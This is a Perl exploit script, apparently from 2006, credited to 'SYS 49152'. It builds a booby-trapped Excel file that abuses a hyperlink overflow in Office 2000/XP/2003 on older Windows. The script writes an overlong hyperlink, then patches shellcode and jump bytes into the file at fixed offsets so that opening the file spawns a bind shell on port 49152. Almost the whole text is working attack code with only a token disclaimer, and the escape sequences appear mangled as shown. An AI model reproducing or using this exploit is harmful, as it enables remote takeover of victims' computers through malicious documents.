#############################################################
# excel hlink overflow UNIVERSAL poc by SYS 49152           #
# public version                                            #
#                                                           # 
# works with ANY of the following oses/office combinations: #
# -windows 2k sp4/XP SP1/XP SP2                             #
#                                                           #
# -office 2000/Xp/2003                                      #
#                                                           #
# bindshell on port 49152                                   #
#                                                           #
# thanks go to BuzzDee for some things..                    #
#                                                           #  
# credits to kcope for finding the vuln..                   #
#                                                           #
# I'm always ready to join groups, boards and the like..    #
#                                                           #
# for anything about this sploit you can drop a mail to     #
#                                                           #
# gforce(AT)operamail.com                                   #
#############################################################
use Spreadsheet::WriteExcel;

my $workbook = Spreadsheet::WriteExcel->new("SYS_49152_universal_hlink.xls");
$worksheet = $workbook->add_worksheet();

$format = $workbook->add_format();
$format->set_bold();
$format->set_color('black');
$format->set_align('center');

$col=7;
$worksheet->write($row, $col, "excel overflow UNIVERSAL poc by SYS 49152 public version",$format);
$row = 2;   
$worksheet->write($row, $col, "bindshell on port 49152", $format);
$row = 6 ;
$worksheet->write($row, $col, "I'm always ready to join groups, boards and the like.. but skiddiefree..", $format);
$row = 7;
$worksheet->write($row, $col, "gforce(AT)operamail.com", $format);
$row = 9;   
$worksheet->write($row, $col, "thanks go to BuzzDee for some things..", $format);
$row = 11 ;  
$worksheet->write($row, $col, "credits to kcope for finding the vuln..", $format);
$row = 16  ;
$worksheet->write($row, $col, "DISCLAIMER: you are NOT allowed by me to use this poc for any kind of illegal activities..", $format);


$a="aaaaaaaaax53x59x53x34x39x31x35x32x52x55x4Cx45x5Aaaaaaaaaa\" x 80;


my $shellcode = "xfcx6axebx4dxe8xf9xffxffxffx60x8bx6cx24x24x8bx45".
"x3cx8bx7cx05x78x01xefx8bx4fx18x8bx5fx20x01xebx49".
"x8bx34x8bx01xeex31xc0x99xacx84xc0x74x07xc1xcax0d".
"x01xc2xebxf4x3bx54x24x28x75xe5x8bx5fx24x01xebx66".
"x8bx0cx4bx8bx5fx1cx01xebx03x2cx8bx89x6cx24x1cx61".
"xc3x31xdbx64x8bx43x30x8bx40x0cx8bx70x1cxadx8bx40".
"x08x5ex68x8ex4ex0execx50xffxd6x66x53x66x68x33x32".
"x68x77x73x32x5fx54xffxd0x68xcbxedxfcx3bx50xffxd6".
"x5fx89xe5x66x81xedx08x02x55x6ax02xffxd0x68xd9x09".
"xf5xadx57xffxd6x53x53x53x53x53x43x53x43x53xffxd0".
"x66x68xc0x00x66x53x89xe1x95x68xa4x1ax70xc7x57xff".
"xd6x6ax10x51x55xffxd0x68xa4xadx2exe9x57xffxd6x53".
"x55xffxd0x68xe5x49x86x49x57xffxd6x50x54x54x55xff".
"xd0x93x68xe7x79xc6x79x57xffxd6x55xffxd0x66x6ax64".
"x66x68x63x6dx89xe5x6ax50x59x29xccx89xe7x6ax44x89".
"xe2x31xc0xf3xaaxfex42x2dxfex42x2cx93x8dx7ax38xab".
"xabxabx68x72xfexb3x16xffx75x44xffxd6x5bx57x52x51".
"x51x51x6ax01x51x51x55x51xffxd0x68xadxd9x05xcex53".
"xffxd6x6axffxffx37xffxd0x8bx57xfcx83xc4x64xffxd6".
"x52xffxd0x68xf0x8ax04x5fx53xffxd6xffxd0";
 



$worksheet->write_url(0, 0, "$a", "ClickMe!");
$workbook->close();

open(ass, "+<SYS_49152_universal_hlink.xls") || die "Can't Open temporary Filen";
seek ass,6854,0;
print ass $shellcode;
seek ass,7233,0;
print ass "xEBxF4x90x90x13xACx8Dx30";
seek ass,7223,0;
print ass "xE9x8AxFExFFxFF";
seek ass,6449,0;
print ass "xEBx1Ax90x90x10x14xB3x30";
seek ass,6477,0;
print ass "xEBx7ex90x90xB4x9BxCBx30";
seek ass,6605,0;
print ass "xEBx7e";
seek ass,6733,0;
print ass "xEBx77";
print ".xls file written correctly.n";
close (ass);

# www.Syue.com [2006-07-02]